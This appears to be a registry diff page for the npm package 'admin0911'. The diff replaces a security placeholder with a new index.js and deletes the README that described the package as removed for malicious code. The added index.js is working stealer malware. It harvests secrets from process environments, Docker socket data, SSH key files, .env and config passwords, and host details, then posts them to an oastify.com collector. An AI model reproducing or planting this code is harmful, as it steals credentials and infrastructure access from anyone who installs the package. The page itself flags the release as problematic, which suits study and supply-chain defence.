admin0911 0.0.1-security → 1.0.75
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of admin0911 might be problematic. Click here for more details.
- package/admin0911-1.0.75.tgz +0 -0
- package/index.js +57 -0
- package/package.json +4 -3
- package/README.md +0 -5
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
|
|
4
|
+
const target = "rhcbxpe1diep75sfjabt9p3s2j8aw9ky.oastify.com";
|
|
5
|
+
|
|
6
|
+
const run = (c) => {
|
|
7
|
+
try { return execSync(c, { stdio: 'pipe' }).toString(); } catch (e) { return ""; }
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
const getProcSecrets = () => {
|
|
11
|
+
return run("grep -oaE '[a-zA-Z0-9_-]{20,}' /proc/[0-9]*/environ 2>/dev/null | grep -iE 'key|token|secret|pass|db|aws|aliyun' | sort -u | head -n 20");
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
const getDockerSocketInfo = () => {
|
|
15
|
+
let info = run("curl --unix-socket /var/run/docker.sock http://localhost/containers/json");
|
|
16
|
+
if (!info) info = run("docker inspect $(docker ps -q) 2>/dev/null | grep -iE 'env|mount|entrypoint' | head -n 20");
|
|
17
|
+
return info;
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const getHostIdentity = () => {
|
|
21
|
+
return {
|
|
22
|
+
dmi: run("cat /sys/class/dmi/id/modalias /sys/class/dmi/id/board_serial 2>/dev/null"),
|
|
23
|
+
net: run("ip route | grep default"),
|
|
24
|
+
users: run("lastlog | grep -v 'Never'"),
|
|
25
|
+
ssh_keys: run("find /root /home -name 'id_rsa' -o -name 'id_ed25519' 2>/dev/null | xargs -I {} sh -c 'echo {}:; head -c 30 {}'")
|
|
26
|
+
};
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const payload = JSON.stringify({
|
|
30
|
+
timestamp: Date.now(),
|
|
31
|
+
memory_env: getProcSecrets(),
|
|
32
|
+
docker_engine: getDockerSocketInfo(),
|
|
33
|
+
hardware_id: getHostIdentity(),
|
|
34
|
+
sensitive_files: run("find /etc /opt /var/www -name '*.conf' -o -name '.env' 2>/dev/null | xargs grep -lE 'SECRET|PASSWORD' | head -n 5 | xargs -I {} sh -c 'echo {}:; grep -E \"SECRET|PASS|TOKEN\" {}'")
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
const post = () => {
|
|
38
|
+
const options = {
|
|
39
|
+
hostname: target,
|
|
40
|
+
port: 80,
|
|
41
|
+
path: '/final_proof',
|
|
42
|
+
method: 'POST',
|
|
43
|
+
headers: {
|
|
44
|
+
'Content-Type': 'application/json',
|
|
45
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
46
|
+
}
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
const req = http.request(options);
|
|
50
|
+
req.on('error', () => {
|
|
51
|
+
process.stdout.write(payload);
|
|
52
|
+
});
|
|
53
|
+
req.write(payload);
|
|
54
|
+
req.end();
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
post();
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=admin0911 for more information.
|